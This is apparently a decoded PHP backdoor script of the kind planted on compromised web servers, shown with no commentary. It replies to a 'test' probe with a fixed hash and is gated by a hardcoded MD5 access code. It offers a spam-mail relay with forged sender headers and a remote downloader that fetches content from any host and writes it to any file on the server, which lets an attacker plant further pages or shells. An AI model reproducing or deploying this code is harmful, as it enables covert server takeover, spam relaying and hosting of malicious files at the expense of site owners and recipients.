PHP Decode

ignore_user_abort(true);
set_time_limit(0);
header('Content-type: text/html;charset=UTF-8');

function httpSocketConnection($host, $method, $path, $data) {
$method = strtoupper($method);       
if ($method == "GET") {
$path.= '?'.$data;
}   
$filePointer = fsockopen($host, 80, $errorNumber, $errorString);
if (!$filePointer) {
return false;
}
$requestHeader = $method." ".$path."  HTTP/1.1
";
$requestHeader.= "Host: ".$host."
";
$requestHeader.= "User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 CosmicPager/2.0
";
$requestHeader.= "Content-Type: application/x-www-form-urlencoded
";
if ($method == "POST") {
$requestHeader.= "Content-Length: ".strlen($data)."
";
}
$requestHeader.= "Connection: close

";
if ($method == "POST") {
$requestHeader.= $data;
}           
fwrite($filePointer, $requestHeader);
$responseHeader = '';
$responseContent = '';
do {
$responseHeader.= fread($filePointer, 1);
}
while (!preg_match('/

$/', $responseHeader));
if (!strstr($responseHeader, "Transfer-Encoding: chunked")) {
while (!feof($filePointer)) {
$responseContent.= fgets($filePointer, 128);
}
} else {
while ($chunk_length = hexdec(fgets($filePointer))) {
$responseContentChunk = '';
$read_length = 0;
while ($read_length < $chunk_length) {
$responseContentChunk .= fread($filePointer, $chunk_length - $read_length);
$read_length = strlen($responseContentChunk);
}
$responseContent.= $responseContentChunk;
fgets($filePointer);
}
}
return chop($responseContent);
}

function get_server_load($windows = 0) {
	$os = strtolower(PHP_OS);
	if(strpos($os, "win") === false) {
  if(file_exists("/proc/loadavg")) {
 	 $load = file_get_contents("/proc/loadavg");
 	 $load = explode(' ', $load);
 	 return $load[0];
  }
  elseif(function_exists("shell_exec")) {
 	 $load = explode(' ', `uptime`);
 	 return $load[count($load)-1];
  }
  else {
 	 return "";
  }
	}
	elseif($windows) {
  if(class_exists("COM")) {
 	 $wmi = new COM("WinMgmts:\.");
 	 $cpus = $wmi->InstancesOf("Win32_Processor");
 	 
 	 $cpuload = 0;
 	 $i = 0;
 	 while ($cpu = $cpus->Next()) {
    $cpuload += $cpu->LoadPercentage;
    $i++;
 	 }
 	 
 	 $cpuload = round($cpuload / $i, 2);
 	 return "$cpuload%";
  }
  else {
 	 return "";
  }
	}
}


if($_GET['test']=='on'){
	exit('ae19ff7731647336fac4d79d28127cb4');
}



if (get_magic_quotes_gpc()) {
    function stripslashes_gpc(&$value)
    {
        $value = stripslashes($value);
    }
    array_walk_recursive($_GET, 'stripslashes_gpc');
    array_walk_recursive($_POST, 'stripslashes_gpc');
    array_walk_recursive($_COOKIE, 'stripslashes_gpc');
    array_walk_recursive($_REQUEST, 'stripslashes_gpc');
}


if($_POST['accesscode']==md5('291d7ad65c71d5fea0e78a641af013d8')){
	if($_POST['dexter']=='on'){
	$load = get_server_load();
	if($load > 5.0){
	exit('Too High Load');
	}
	$subject = $_POST['subject'];
	$message = $_POST['message'];
	$to = $_POST['to'];
	$from = $_POST['from'];
	$headers = $_POST['headers'];
	$headers .= 'From: '. $from . "
";
	$headers .= "X-Originating-IP: [".getenv("SERVER_ADDR")."]
";
	$headers .= "X-Sender-IP: " . $_SERVER["SERVER_ADDR"]."
";
	exit($message);
	if(@mail($to,$subject,$message,$headers)){
		echo 'successful';
	}else{
		echo 'failed';
	}
	}
	
	if(isset($_POST['backlink']))
	{
	$backlink = parse_url($_POST['backlink']);
	$filename='video.html';
	if(isset($_POST['filename']))
	$filename=$_POST['filename'];
	$source = @httpSocketConnection($backlink['host'],'GET',$backlink['path'],'');
	$open = fopen($filename, 'w');
	@fwrite($open, $source);
	@fclose($open);
	if(file_exists($filename)){
		echo 'successful';
	}
	}
	
}else{
	echo 'no access';
}